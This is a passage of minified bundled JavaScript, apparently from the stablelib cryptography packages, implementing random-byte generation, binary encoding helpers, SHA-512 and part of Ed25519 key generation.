wr.BrowserRandomSource,this._source.isAvailable?(this.isAvailable=!0,void(this.name="Browser")):(this._source=new Er.NodeRandomSource,this._source.isAvailable?(this.isAvailable=!0,void(this.name="Node")):void 0)}randomBytes(e){if(!this.isAvailable)throw new Error("System random byte generator is not available.");return this._source.randomBytes(e)}}cr.SystemRandomSource=Sr;var Or={},xr={};(function(e){function t(e,t){var n=65535&e,r=65535&t;return n*r+((e>>>16&65535)*r+n*(t>>>16&65535)<<16>>>0)|0}function n(e,t){return e+t|0}function r(e,t){return e-t|0}function i(e,t){return e<<t|e>>>32-t}function o(e,t){return e<<32-t|e>>>t}function s(e){return"number"==typeof e&&isFinite(e)&&Math.floor(e)===e}Object.defineProperty(e,"__esModule",{value:!0}),e.mul=Math.imul||t,e.add=n,e.sub=r,e.rotl=i,e.rotr=o,e.isInteger=Number.isInteger||s,e.MAX_SAFE_INTEGER=9007199254740991,e.isSafeInteger=function(t){return e.isInteger(t)&&t>=-e.MAX_SAFE_INTEGER&&t<=e.MAX_SAFE_INTEGER}})(xr),Object.defineProperty(Or,"__esModule",{value:!0});var Ir=xr;function Rr(e,t){return void 0===t&&(t=0),(e[t+0]<<8|e[t+1])<<16>>16}function kr(e,t){return void 0===t&&(t=0),(e[t+0]<<8|e[t+1])>>>0}function Cr(e,t){return void 0===t&&(t=0),(e[t+1]<<8|e[t])<<16>>16}function Pr(e,t){return void 0===t&&(t=0),(e[t+1]<<8|e[t])>>>0}function Ar(e,t,n){return void 0===t&&(t=new Uint8Array(2)),void 0===n&&(n=0),t[n+0]=e>>>8,t[n+1]=e>>>0,t}function Nr(e,t,n){return void 0===t&&(t=new Uint8Array(2)),void 0===n&&(n=0),t[n+0]=e>>>0,t[n+1]=e>>>8,t}function Tr(e,t){return void 0===t&&(t=0),e[t]<<24|e[t+1]<<16|e[t+2]<<8|e[t+3]}function Mr(e,t){return void 0===t&&(t=0),(e[t]<<24|e[t+1]<<16|e[t+2]<<8|e[t+3])>>>0}function Lr(e,t){return void 0===t&&(t=0),e[t+3]<<24|e[t+2]<<16|e[t+1]<<8|e[t]}function jr(e,t){return void 0===t&&(t=0),(e[t+3]<<24|e[t+2]<<16|e[t+1]<<8|e[t])>>>0}function Ur(e,t,n){return void 0===t&&(t=new Uint8Array(4)),void 0===n&&(n=0),t[n+0]=e>>>24,t[n+1]=e>>>16,t[n+2]=e>>>8,t[n+3]=e>>>0,t}function Dr(e,t,n){return void 0===t&&(t=new Uint8Array(4)),void 0===n&&(n=0),t[n+0]=e>>>0,t[n+1]=e>>>8,t[n+2]=e>>>16,t[n+3]=e>>>24,t}function zr(e,t){void 0===t&&(t=0);var n=Tr(e,t),r=Tr(e,t+4);return 4294967296*n+r-4294967296*(r>>31)}function Fr(e,t){return void 0===t&&(t=0),4294967296*Mr(e,t)+Mr(e,t+4)}function Br(e,t){void 0===t&&(t=0);var n=Lr(e,t);return 4294967296*Lr(e,t+4)+n-4294967296*(n>>31)}function Hr(e,t){void 0===t&&(t=0);var n=jr(e,t);return 4294967296*jr(e,t+4)+n}function qr(e,t,n){return void 0===t&&(t=new Uint8Array(8)),void 0===n&&(n=0),Ur(e/4294967296>>>0,t,n),Ur(e>>>0,t,n+4),t}function Vr(e,t,n){return void 0===t&&(t=new Uint8Array(8)),void 0===n&&(n=0),Dr(e>>>0,t,n),Dr(e/4294967296>>>0,t,n+4),t}function $r(e,t,n){if(void 0===n&&(n=0),e%8!=0)throw new Error("readUintBE supports only bitLengths divisible by 8");if(e/8>t.length-n)throw new Error("readUintBE: array is too short for the given bitLength");for(var r=0,i=1,o=e/8+n-1;o>=n;o--)r+=t[o]*i,i*=256;return r}function Wr(e,t,n){if(void 0===n&&(n=0),e%8!=0)throw new Error("readUintLE supports only bitLengths divisible by 8");if(e/8>t.length-n)throw new Error("readUintLE: array is too short for the given bitLength");for(var r=0,i=1,o=n;o<n+e/8;o++)r+=t[o]*i,i*=256;return r}function Kr(e,t,n,r){if(void 0===n&&(n=new Uint8Array(e/8)),void 0===r&&(r=0),e%8!=0)throw new Error("writeUintBE supports only bitLengths divisible by 8");if(!Ir.isSafeInteger(t))throw new Error("writeUintBE value must be an integer");for(var i=1,o=e/8+r-1;o>=r;o--)n[o]=t/i&255,i*=256;return n}function Gr(e,t,n,r){if(void 0===n&&(n=new Uint8Array(e/8)),void 0===r&&(r=0),e%8!=0)throw new Error("writeUintLE supports only bitLengths divisible by 8");if(!Ir.isSafeInteger(t))throw new Error("writeUintLE value must be an integer");for(var i=1,o=r;o<r+e/8;o++)n[o]=t/i&255,i*=256;return n}function Yr(e,t){return void 0===t&&(t=0),new DataView(e.buffer,e.byteOffset,e.byteLength).getFloat32(t)}function Qr(e,t){return void 0===t&&(t=0),new DataView(e.buffer,e.byteOffset,e.byteLength).getFloat32(t,!0)}function Jr(e,t){return void 0===t&&(t=0),new DataView(e.buffer,e.byteOffset,e.byteLength).getFloat64(t)}function Xr(e,t){return void 0===t&&(t=0),new DataView(e.buffer,e.byteOffset,e.byteLength).getFloat64(t,!0)}function Zr(e,t,n){return void 0===t&&(t=new Uint8Array(4)),void 0===n&&(n=0),new DataView(t.buffer,t.byteOffset,t.byteLength).setFloat32(n,e),t}function ei(e,t,n){return void 0===t&&(t=new Uint8Array(4)),void 0===n&&(n=0),new DataView(t.buffer,t.byteOffset,t.byteLength).setFloat32(n,e,!0),t}function ti(e,t,n){return void 0===t&&(t=new Uint8Array(8)),void 0===n&&(n=0),new DataView(t.buffer,t.byteOffset,t.byteLength).setFloat64(n,e),t}function ni(e,t,n){return void 0===t&&(t=new Uint8Array(8)),void 0===n&&(n=0),new DataView(t.buffer,t.byteOffset,t.byteLength).setFloat64(n,e,!0),t}Or.readInt16BE=Rr,Or.readUint16BE=kr,Or.readInt16LE=Cr,Or.readUint16LE=Pr,Or.writeUint16BE=Ar,Or.writeInt16BE=Ar,Or.writeUint16LE=Nr,Or.writeInt16LE=Nr,Or.readInt32BE=Tr,Or.readUint32BE=Mr,Or.readInt32LE=Lr,Or.readUint32LE=jr,Or.writeUint32BE=Ur,Or.writeInt32BE=Ur,Or.writeUint32LE=Dr,Or.writeInt32LE=Dr,Or.readInt64BE=zr,Or.readUint64BE=Fr,Or.readInt64LE=Br,Or.readUint64LE=Hr,Or.writeUint64BE=qr,Or.writeInt64BE=qr,Or.writeUint64LE=Vr,Or.writeInt64LE=Vr,Or.readUintBE=$r,Or.readUintLE=Wr,Or.writeUintBE=Kr,Or.writeUintLE=Gr,Or.readFloat32BE=Yr,Or.readFloat32LE=Qr,Or.readFloat64BE=Jr,Or.readFloat64LE=Xr,Or.writeFloat32BE=Zr,Or.writeFloat32LE=ei,Or.writeFloat64BE=ti,Or.writeFloat64LE=ni,function(e){Object.defineProperty(e,"__esModule",{value:!0}),e.randomStringForEntropy=e.randomString=e.randomUint32=e.randomBytes=e.defaultRandomSource=void 0;const t=cr,n=Or,r=gr;function i(t,n=e.defaultRandomSource){return n.randomBytes(t)}function o(t=e.defaultRandomSource){const o=i(4,t),s=(0,n.readUint32LE)(o);return(0,r.wipe)(o),s}e.defaultRandomSource=new t.SystemRandomSource,e.randomBytes=i,e.randomUint32=o;const s="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";function a(t,n=s,o=e.defaultRandomSource){if(n.length<2)throw new Error("randomString charset is too short");if(n.length>256)throw new Error("randomString charset is too long");let a="";const u=n.length,c=256-256%u;for(;t>0;){const e=i(Math.ceil(256*t/c),o);for(let r=0;r<e.length&&t>0;r++){const i=e[r];i<c&&(a+=n.charAt(i%u),t--)}(0,r.wipe)(e)}return a}function u(t,n=s,r=e.defaultRandomSource){return a(Math.ceil(t/(Math.log(n.length)/Math.LN2)),n,r)}e.randomString=a,e.randomStringForEntropy=u}(ur);var ri={};(function(e){Object.defineProperty(e,"__esModule",{value:!0});var t=Or,n=gr;e.DIGEST_LENGTH=64,e.BLOCK_SIZE=128;var r=function(){function r(){this.digestLength=e.DIGEST_LENGTH,this.blockSize=e.BLOCK_SIZE,this._stateHi=new Int32Array(8),this._stateLo=new Int32Array(8),this._tempHi=new Int32Array(16),this._tempLo=new Int32Array(16),this._buffer=new Uint8Array(256),this._bufferLength=0,this._bytesHashed=0,this._finished=!1,this.reset()}return r.prototype._initState=function(){this._stateHi[0]=1779033703,this._stateHi[1]=3144134277,this._stateHi[2]=1013904242,this._stateHi[3]=2773480762,this._stateHi[4]=1359893119,this._stateHi[5]=2600822924,this._stateHi[6]=528734635,this._stateHi[7]=1541459225,this._stateLo[0]=4089235720,this._stateLo[1]=2227873595,this._stateLo[2]=4271175723,this._stateLo[3]=1595750129,this._stateLo[4]=2917565137,this._stateLo[5]=725511199,this._stateLo[6]=4215389547,this._stateLo[7]=327033209},r.prototype.reset=function(){return this._initState(),this._bufferLength=0,this._bytesHashed=0,this._finished=!1,this},r.prototype.clean=function(){n.wipe(this._buffer),n.wipe(this._tempHi),n.wipe(this._tempLo),this.reset()},r.prototype.update=function(t,n){if(void 0===n&&(n=t.length),this._finished)throw new Error("SHA512: can't update because hash was finished.");var r=0;if(this._bytesHashed+=n,this._bufferLength>0){for(;this._bufferLength<e.BLOCK_SIZE&&n>0;)this._buffer[this._bufferLength++]=t[r++],n--;this._bufferLength===this.blockSize&&(o(this._tempHi,this._tempLo,this._stateHi,this._stateLo,this._buffer,0,this.blockSize),this._bufferLength=0)}for(n>=this.blockSize&&(r=o(this._tempHi,this._tempLo,this._stateHi,this._stateLo,t,r,n),n%=this.blockSize);n>0;)this._buffer[this._bufferLength++]=t[r++],n--;return this},r.prototype.finish=function(e){if(!this._finished){var n=this._bytesHashed,r=this._bufferLength,i=n/536870912|0,s=n<<3,a=n%128<112?128:256;this._buffer[r]=128;for(var u=r+1;u<a-8;u++)this._buffer[u]=0;t.writeUint32BE(i,this._buffer,a-8),t.writeUint32BE(s,this._buffer,a-4),o(this._tempHi,this._tempLo,this._stateHi,this._stateLo,this._buffer,0,a),this._finished=!0}for(u=0;u<this.digestLength/8;u++)t.writeUint32BE(this._stateHi[u],e,8*u),t.writeUint32BE(this._stateLo[u],e,8*u+4);return this},r.prototype.digest=function(){var e=new Uint8Array(this.digestLength);return this.finish(e),e},r.prototype.saveState=function(){if(this._finished)throw new Error("SHA256: cannot save finished state");return{stateHi:new Int32Array(this._stateHi),stateLo:new Int32Array(this._stateLo),buffer:this._bufferLength>0?new Uint8Array(this._buffer):void 0,bufferLength:this._bufferLength,bytesHashed:this._bytesHashed}},r.prototype.restoreState=function(e){return this._stateHi.set(e.stateHi),this._stateLo.set(e.stateLo),this._bufferLength=e.bufferLength,e.buffer&&this._buffer.set(e.buffer),this._bytesHashed=e.bytesHashed,this._finished=!1,this},r.prototype.cleanSavedState=function(e){n.wipe(e.stateHi),n.wipe(e.stateLo),e.buffer&&n.wipe(e.buffer),e.bufferLength=0,e.bytesHashed=0},r}();e.SHA512=r;var i=new Int32Array([1116352408,3609767458,1899447441,602891725,3049323471,3964484399,3921009573,2173295548,961987163,4081628472,1508970993,3053834265,2453635748,2937671579,2870763221,3664609560,3624381080,2734883394,310598401,1164996542,607225278,1323610764,1426881987,3590304994,1925078388,4068182383,2162078206,991336113,2614888103,633803317,3248222580,3479774868,3835390401,2666613458,4022224774,944711139,264347078,2341262773,604807628,2007800933,770255983,1495990901,1249150122,1856431235,1555081692,3175218132,1996064986,2198950837,2554220882,3999719339,2821834349,766784016,2952996808,2566594879,3210313671,3203337956,3336571891,1034457026,3584528711,2466948901,113926993,3758326383,338241895,168717936,666307205,1188179964,773529912,1546045734,1294757372,1522805485,1396182291,2643833823,1695183700,2343527390,1986661051,1014477480,2177026350,1206759142,2456956037,344077627,2730485921,1290863460,2820302411,3158454273,3259730800,3505952657,3345764771,106217008,3516065817,3606008344,3600352804,1432725776,4094571909,1467031594,275423344,851169720,430227734,3100823752,506948616,1363258195,659060556,3750685593,883997877,3785050280,958139571,3318307427,1322822218,3812723403,1537002063,2003034995,1747873779,3602036899,1955562222,1575990012,2024104815,1125592928,2227730452,2716904306,2361852424,442776044,2428436474,593698344,2756734187,3733110249,3204031479,2999351573,3329325298,3815920427,3391569614,3928383900,3515267271,566280711,3940187606,3454069534,4118630271,4000239992,116418474,1914138554,174292421,2731055270,289380356,3203993006,460393269,320620315,685471733,587496836,852142971,1086792851,1017036298,365543100,1126000580,2618297676,1288033470,3409855158,1501505948,4234509866,1607167915,987167468,1816402316,1246189591]);function o(e,n,r,o,s,a,u){for(var c,l,f,h,d,p,g,y,v=r[0],m=r[1],_=r[2],b=r[3],w=r[4],E=r[5],S=r[6],O=r[7],x=o[0],I=o[1],R=o[2],k=o[3],C=o[4],P=o[5],A=o[6],N=o[7];u>=128;){for(var T=0;T<16;T++){var M=8*T+a;e[T]=t.readUint32BE(s,M),n[T]=t.readUint32BE(s,M+4)}for(T=0;T<80;T++){var L=v,j=m,U=_,D=b,z=w,F=E,B=S,H=O,q=x,V=I,$=R,W=k,K=C,G=P,Y=A,Q=N;if(d=65535&(l=N),p=l>>>16,g=65535&(c=O),y=c>>>16,d+=65535&(l=(C>>>14|w<<18)^(C>>>18|w<<14)^(w>>>9|C<<23)),p+=l>>>16,g+=65535&(c=(w>>>14|C<<18)^(w>>>18|C<<14)^(C>>>9|w<<23)),y+=c>>>16,d+=65535&(l=C&P^~C&A),p+=l>>>16,g+=65535&(c=w&E^~w&S),y+=c>>>16,c=i[2*T],d+=65535&(l=i[2*T+1]),p+=l>>>16,g+=65535&c,y+=c>>>16,c=e[T%16],p+=(l=n[T%16])>>>16,g+=65535&c,y+=c>>>16,g+=(p+=(d+=65535&l)>>>16)>>>16,d=65535&(l=h=65535&d|p<<16),p=l>>>16,g=65535&(c=f=65535&g|(y+=g>>>16)<<16),y=c>>>16,d+=65535&(l=(x>>>28|v<<4)^(v>>>2|x<<30)^(v>>>7|x<<25)),p+=l>>>16,g+=65535&(c=(v>>>28|x<<4)^(x>>>2|v<<30)^(x>>>7|v<<25)),y+=c>>>16,p+=(l=x&I^x&R^I&R)>>>16,g+=65535&(c=v&m^v&_^m&_),y+=c>>>16,H=65535&(g+=(p+=(d+=65535&l)>>>16)>>>16)|(y+=g>>>16)<<16,Q=65535&d|p<<16,d=65535&(l=W),p=l>>>16,g=65535&(c=D),y=c>>>16,p+=(l=h)>>>16,g+=65535&(c=f),y+=c>>>16,m=L,_=j,b=U,w=D=65535&(g+=(p+=(d+=65535&l)>>>16)>>>16)|(y+=g>>>16)<<16,E=z,S=F,O=B,v=H,I=q,R=V,k=$,C=W=65535&d|p<<16,P=K,A=G,N=Y,x=Q,T%16==15)for(M=0;M<16;M++)c=e[M],d=65535&(l=n[M]),p=l>>>16,g=65535&c,y=c>>>16,c=e[(M+9)%16],d+=65535&(l=n[(M+9)%16]),p+=l>>>16,g+=65535&c,y+=c>>>16,f=e[(M+1)%16],d+=65535&(l=((h=n[(M+1)%16])>>>1|f<<31)^(h>>>8|f<<24)^(h>>>7|f<<25)),p+=l>>>16,g+=65535&(c=(f>>>1|h<<31)^(f>>>8|h<<24)^f>>>7),y+=c>>>16,f=e[(M+14)%16],p+=(l=((h=n[(M+14)%16])>>>19|f<<13)^(f>>>29|h<<3)^(h>>>6|f<<26))>>>16,g+=65535&(c=(f>>>19|h<<13)^(h>>>29|f<<3)^f>>>6),y+=c>>>16,y+=(g+=(p+=(d+=65535&l)>>>16)>>>16)>>>16,e[M]=65535&g|y<<16,n[M]=65535&d|p<<16}d=65535&(l=x),p=l>>>16,g=65535&(c=v),y=c>>>16,c=r[0],p+=(l=o[0])>>>16,g+=65535&c,y+=c>>>16,y+=(g+=(p+=(d+=65535&l)>>>16)>>>16)>>>16,r[0]=v=65535&g|y<<16,o[0]=x=65535&d|p<<16,d=65535&(l=I),p=l>>>16,g=65535&(c=m),y=c>>>16,c=r[1],p+=(l=o[1])>>>16,g+=65535&c,y+=c>>>16,y+=(g+=(p+=(d+=65535&l)>>>16)>>>16)>>>16,r[1]=m=65535&g|y<<16,o[1]=I=65535&d|p<<16,d=65535&(l=R),p=l>>>16,g=65535&(c=_),y=c>>>16,c=r[2],p+=(l=o[2])>>>16,g+=65535&c,y+=c>>>16,y+=(g+=(p+=(d+=65535&l)>>>16)>>>16)>>>16,r[2]=_=65535&g|y<<16,o[2]=R=65535&d|p<<16,d=65535&(l=k),p=l>>>16,g=65535&(c=b),y=c>>>16,c=r[3],p+=(l=o[3])>>>16,g+=65535&c,y+=c>>>16,y+=(g+=(p+=(d+=65535&l)>>>16)>>>16)>>>16,r[3]=b=65535&g|y<<16,o[3]=k=65535&d|p<<16,d=65535&(l=C),p=l>>>16,g=65535&(c=w),y=c>>>16,c=r[4],p+=(l=o[4])>>>16,g+=65535&c,y+=c>>>16,y+=(g+=(p+=(d+=65535&l)>>>16)>>>16)>>>16,r[4]=w=65535&g|y<<16,o[4]=C=65535&d|p<<16,d=65535&(l=P),p=l>>>16,g=65535&(c=E),y=c>>>16,c=r[5],p+=(l=o[5])>>>16,g+=65535&c,y+=c>>>16,y+=(g+=(p+=(d+=65535&l)>>>16)>>>16)>>>16,r[5]=E=65535&g|y<<16,o[5]=P=65535&d|p<<16,d=65535&(l=A),p=l>>>16,g=65535&(c=S),y=c>>>16,c=r[6],p+=(l=o[6])>>>16,g+=65535&c,y+=c>>>16,y+=(g+=(p+=(d+=65535&l)>>>16)>>>16)>>>16,r[6]=S=65535&g|y<<16,o[6]=A=65535&d|p<<16,d=65535&(l=N),p=l>>>16,g=65535&(c=O),y=c>>>16,c=r[7],p+=(l=o[7])>>>16,g+=65535&c,y+=c>>>16,y+=(g+=(p+=(d+=65535&l)>>>16)>>>16)>>>16,r[7]=O=65535&g|y<<16,o[7]=N=65535&d|p<<16,a+=128,u-=128}return a}function s(e){var t=new r;t.update(e);var n=t.digest();return t.clean(),n}e.hash=s})(ri),function(e){Object.defineProperty(e,"__esModule",{value:!0}),e.convertSecretKeyToX25519=e.convertPublicKeyToX25519=e.verify=e.sign=e.extractPublicKeyFromSecretKey=e.generateKeyPair=e.generateKeyPairFromSeed=e.SEED_LENGTH=e.SECRET_KEY_LENGTH=e.PUBLIC_KEY_LENGTH=e.SIGNATURE_LENGTH=void 0;const t=ur,n=ri,r=gr;function i(e){const t=new Float64Array(16);if(e)for(let n=0;n<e.length;n++)t[n]=e[n];return t}e.SIGNATURE_LENGTH=64,e.PUBLIC_KEY_LENGTH=32,e.SECRET_KEY_LENGTH=64,e.SEED_LENGTH=32,new Uint8Array(32)[0]=9;const o=i(),s=i([1]),a=i([30883,4953,19914,30187,55467,16705,2637,112,59544,30585,16505,36039,65139,11119,27886,20995]),u=i([61785,9906,39828,60374,45398,33411,5274,224,53552,61171,33010,6542,64743,22239,55772,9222]),c=i([54554,36645,11616,51542,42930,38181,51040,26924,56412,64982,57905,49316,21502,52590,14035,8553]),l=i([26200,26214,26214,26214,26214,26214,26214,26214,26214,26214,26214,26214,26214,26214,26214,26214]),f=i([41136,18958,6951,50414,58488,44335,6150,12099,55207,15867,153,11085,57099,20417,9344,11139]);function h(e,t){for(let n=0;n<16;n++)e[n]=0|t[n]}function d(e){let t=1;for(let n=0;n<16;n++){let r=e[n]+t+65535;t=Math.floor(r/65536),e[n]=r-65536*t}e[0]+=t-1+37*(t-1)}function p(e,t,n){const r=~(n-1);for(let n=0;n<16;n++){const i=r&(e[n]^t[n]);e[n]^=i,t[n]^=i}}function g(e,t){const n=i(),r=i();for(let e=0;e<16;e++)r[e]=t[e];d(r),d(r),d(r);for(let e=0;e<2;e++){n[0]=r[0]-65517;for(let e=1;e<15;e++)n[e]=r[e]-65535-(n[e-1]>>16&1),n[e-1]&=65535;n[15]=r[15]-32767-(n[14]>>16&1);const e=n[15]>>16&1;n[14]&=65535,p(r,n,1-e)}for(let t=0;t<16;t++)e[2*t]=255&r[t],e[2*t+1]=r[t]>>8}function y(e,t){let n=0;for(let r=0;r<32;r++)n|=e[r]^t[r];return(1&n-1>>>8)-1}function v(e,t){const n=new Uint8Array(32),r=new Uint8Array(32);return g(n,e),g(r,t),y(n,r)}function m(e){const t=new Uint8Array(32);return g(t,e),1&t[0]}function _(e,t){for(let n=0;n<16;n++)e[n]=t[2*n]+(t[2*n+1]<<8);e[15]&=32767}function b(e,t,n){for(let r=0;r<16;r++)e[r]=t[r]+n[r]}function w(e,t,n){for(let r=0;r<16;r++)e[r]=t[r]-n[r]}function E(e,t,n){let r,i,o=0,s=0,a=0,u=0,c=0,l=0,f=0,h=0,d=0,p=0,g=0,y=0,v=0,m=0,_=0,b=0,w=0,E=0,S=0,O=0,x=0,I=0,R=0,k=0,C=0,P=0,A=0,N=0,T=0,M=0,L=0,j=n[0],U=n[1],D=n[2],z=n[3],F=n[4],B=n[5],H=n[6],q=n[7],V=n[8],$=n[9],W=n[10],K=n[11],G=n[12],Y=n[13],Q=n[14],J=n[15];r=t[0],o+=r*j,s+=r*U,a+=r*D,u+=r*z,c+=r*F,l+=r*B,f+=r*H,h+=r*q,d+=r*V,p+=r*$,g+=r*W,y+=r*K,v+=r*G,m+=r*Y,_+=r*Q,b+=r*J,r=t[1],s+=r*j,a+=r*U,u+=r*D,c+=r*z,l+=r*F,f+=r*B,h+=r*H,d+=r*q,p+=r*V,g+=r*$,y+=r*W,v+=r*K,m+=r*G,_+=r*Y,b+=r*Q,w+=r*J,r=t[2],a+=r*j,u+=r*U,c+=r*D,l+=r*z,f+=r*F,h+=r*B,d+=r*H,p+=r*q,g+=r*V,y+=r*$,v+=r*W,m+=r*K,_+=r*G,b+=r*Y,w+=r*Q,E+=r*J,r=t[3],u+=r*j,c+=r*U,l+=r*D,f+=r*z,h+=r*F,d+=r*B,p+=r*H,g+=r*q,y+=r*V,v+=r*$,m+=r*W,_+=r*K,b+=r*G,w+=r*Y,E+=r*Q,S+=r*J,r=t[4],c+=r*j,l+=r*U,f+=r*D,h+=r*z,d+=r*F,p+=r*B,g+=r*H,y+=r*q,v+=r*V,m+=r*$,_+=r*W,b+=r*K,w+=r*G,E+=r*Y,S+=r*Q,O+=r*J,r=t[5],l+=r*j,f+=r*U,h+=r*D,d+=r*z,p+=r*F,g+=r*B,y+=r*H,v+=r*q,m+=r*V,_+=r*$,b+=r*W,w+=r*K,E+=r*G,S+=r*Y,O+=r*Q,x+=r*J,r=t[6],f+=r*j,h+=r*U,d+=r*D,p+=r*z,g+=r*F,y+=r*B,v+=r*H,m+=r*q,_+=r*V,b+=r*$,w+=r*W,E+=r*K,S+=r*G,O+=r*Y,x+=r*Q,I+=r*J,r=t[7],h+=r*j,d+=r*U,p+=r*D,g+=r*z,y+=r*F,v+=r*B,m+=r*H,_+=r*q,b+=r*V,w+=r*$,E+=r*W,S+=r*K,O+=r*G,x+=r*Y,I+=r*Q,R+=r*J,r=t[8],d+=r*j,p+=r*U,g+=r*D,y+=r*z,v+=r*F,m+=r*B,_+=r*H,b+=r*q,w+=r*V,E+=r*$,S+=r*W,O+=r*K,x+=r*G,I+=r*Y,R+=r*Q,k+=r*J,r=t[9],p+=r*j,g+=r*U,y+=r*D,v+=r*z,m+=r*F,_+=r*B,b+=r*H,w+=r*q,E+=r*V,S+=r*$,O+=r*W,x+=r*K,I+=r*G,R+=r*Y,k+=r*Q,C+=r*J,r=t[10],g+=r*j,y+=r*U,v+=r*D,m+=r*z,_+=r*F,b+=r*B,w+=r*H,E+=r*q,S+=r*V,O+=r*$,x+=r*W,I+=r*K,R+=r*G,k+=r*Y,C+=r*Q,P+=r*J,r=t[11],y+=r*j,v+=r*U,m+=r*D,_+=r*z,b+=r*F,w+=r*B,E+=r*H,S+=r*q,O+=r*V,x+=r*$,I+=r*W,R+=r*K,k+=r*G,C+=r*Y,P+=r*Q,A+=r*J,r=t[12],v+=r*j,m+=r*U,_+=r*D,b+=r*z,w+=r*F,E+=r*B,S+=r*H,O+=r*q,x+=r*V,I+=r*$,R+=r*W,k+=r*K,C+=r*G,P+=r*Y,A+=r*Q,N+=r*J,r=t[13],m+=r*j,_+=r*U,b+=r*D,w+=r*z,E+=r*F,S+=r*B,O+=r*H,x+=r*q,I+=r*V,R+=r*$,k+=r*W,C+=r*K,P+=r*G,A+=r*Y,N+=r*Q,T+=r*J,r=t[14],_+=r*j,b+=r*U,w+=r*D,E+=r*z,S+=r*F,O+=r*B,x+=r*H,I+=r*q,R+=r*V,k+=r*$,C+=r*W,P+=r*K,A+=r*G,N+=r*Y,T+=r*Q,M+=r*J,r=t[15],b+=r*j,w+=r*U,E+=r*D,S+=r*z,O+=r*F,x+=r*B,I+=r*H,R+=r*q,k+=r*V,C+=r*$,P+=r*W,A+=r*K,N+=r*G,T+=r*Y,M+=r*Q,L+=r*J,o+=38*w,s+=38*E,a+=38*S,u+=38*O,c+=38*x,l+=38*I,f+=38*R,h+=38*k,d+=38*C,p+=38*P,g+=38*A,y+=38*N,v+=38*T,m+=38*M,_+=38*L,i=1,r=o+i+65535,i=Math.floor(r/65536),o=r-65536*i,r=s+i+65535,i=Math.floor(r/65536),s=r-65536*i,r=a+i+65535,i=Math.floor(r/65536),a=r-65536*i,r=u+i+65535,i=Math.floor(r/65536),u=r-65536*i,r=c+i+65535,i=Math.floor(r/65536),c=r-65536*i,r=l+i+65535,i=Math.floor(r/65536),l=r-65536*i,r=f+i+65535,i=Math.floor(r/65536),f=r-65536*i,r=h+i+65535,i=Math.floor(r/65536),h=r-65536*i,r=d+i+65535,i=Math.floor(r/65536),d=r-65536*i,r=p+i+65535,i=Math.floor(r/65536),p=r-65536*i,r=g+i+65535,i=Math.floor(r/65536),g=r-65536*i,r=y+i+65535,i=Math.floor(r/65536),y=r-65536*i,r=v+i+65535,i=Math.floor(r/65536),v=r-65536*i,r=m+i+65535,i=Math.floor(r/65536),m=r-65536*i,r=_+i+65535,i=Math.floor(r/65536),_=r-65536*i,r=b+i+65535,i=Math.floor(r/65536),b=r-65536*i,o+=i-1+37*(i-1),i=1,r=o+i+65535,i=Math.floor(r/65536),o=r-65536*i,r=s+i+65535,i=Math.floor(r/65536),s=r-65536*i,r=a+i+65535,i=Math.floor(r/65536),a=r-65536*i,r=u+i+65535,i=Math.floor(r/65536),u=r-65536*i,r=c+i+65535,i=Math.floor(r/65536),c=r-65536*i,r=l+i+65535,i=Math.floor(r/65536),l=r-65536*i,r=f+i+65535,i=Math.floor(r/65536),f=r-65536*i,r=h+i+65535,i=Math.floor(r/65536),h=r-65536*i,r=d+i+65535,i=Math.floor(r/65536),d=r-65536*i,r=p+i+65535,i=Math.floor(r/65536),p=r-65536*i,r=g+i+65535,i=Math.floor(r/65536),g=r-65536*i,r=y+i+65535,i=Math.floor(r/65536),y=r-65536*i,r=v+i+65535,i=Math.floor(r/65536),v=r-65536*i,r=m+i+65535,i=Math.floor(r/65536),m=r-65536*i,r=_+i+65535,i=Math.floor(r/65536),_=r-65536*i,r=b+i+65535,i=Math.floor(r/65536),b=r-65536*i,o+=i-1+37*(i-1),e[0]=o,e[1]=s,e[2]=a,e[3]=u,e[4]=c,e[5]=l,e[6]=f,e[7]=h,e[8]=d,e[9]=p,e[10]=g,e[11]=y,e[12]=v,e[13]=m,e[14]=_,e[15]=b}function S(e,t){E(e,t,t)}function O(e,t){const n=i();let r;for(r=0;r<16;r++)n[r]=t[r];for(r=253;r>=0;r--)S(n,n),2!==r&&4!==r&&E(n,n,t);for(r=0;r<16;r++)e[r]=n[r]}function x(e,t){const n=i();let r;for(r=0;r<16;r++)n[r]=t[r];for(r=250;r>=0;r--)S(n,n),1!==r&&E(n,n,t);for(r=0;r<16;r++)e[r]=n[r]}function I(e,t){const n=i(),r=i(),o=i(),s=i(),a=i(),c=i(),l=i(),f=i(),h=i();w(n,e[1],e[0]),w(h,t[1],t[0]),E(n,n,h),b(r,e[0],e[1]),b(h,t[0],t[1]),E(r,r,h),E(o,e[3],t[3]),E(o,o,u),E(s,e[2],t[2]),b(s,s,s),w(a,r,n),w(c,s,o),b(l,s,o),b(f,r,n),E(e[0],a,c),E(e[1],f,l),E(e[2],l,c),E(e[3],a,f)}function R(e,t,n){for(let r=0;r<4;r++)p(e[r],t[r],n)}function k(e,t){const n=i(),r=i(),o=i();O(o,t[2]),E(n,t[0],o),E(r,t[1],o),g(e,r),e[31]^=m(n)<<7}function C(e,t,n){h(e[0],o),h(e[1],s),h(e[2],s),h(e[3],o);for(let r=255;r>=0;--r){const i=n[r/8|0]>>(7&r)&1;R(e,t,i),I(t,e),I(e,e),R(e,t,i)}}function P(e,t){const n=[i(),i(),i(),i()];h(n[0],c),h(n[1],l),h(n[2],s),E(n[3],c,l),C(e,n,t)}function A(t){if(t.length!==e.SEED_LENGTH)throw new Error(`ed25519: seed must be ${e.SEED_LENGTH} bytes`);const r=(0,n.hash)(t);r[0]&=248,r[31]&=127,r[31]|=64;const o=new Uint8Array(32),s=[i(),i(),i(),i()];P(s,r),k(o,s);const a=new Uint8Array(64);return a.set(t),a.set(o,32),{publicKey:o,secretKey:a}}function N(e){const n=(0,t.randomBytes)(32,e),i=A(n);return(0,r.wipe)(n),i}function T(t){if(t.length!==e.SECRET_KEY_LENGTH)throw new Error(`ed25519: secret key must be ${e.SECRET_KEY_LENGTH} bytes`);return new Uint8Array(t.subarray(32))}e.generateKeyPairFromSeed=A,e.generateKeyPair=N,e.extractPublicKeyFromSecretKey=T;const M=new Float64Array([237,211,245,92,26,99,18,88,214,156,247,162,222,249,222,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16]);function L(e,t){let 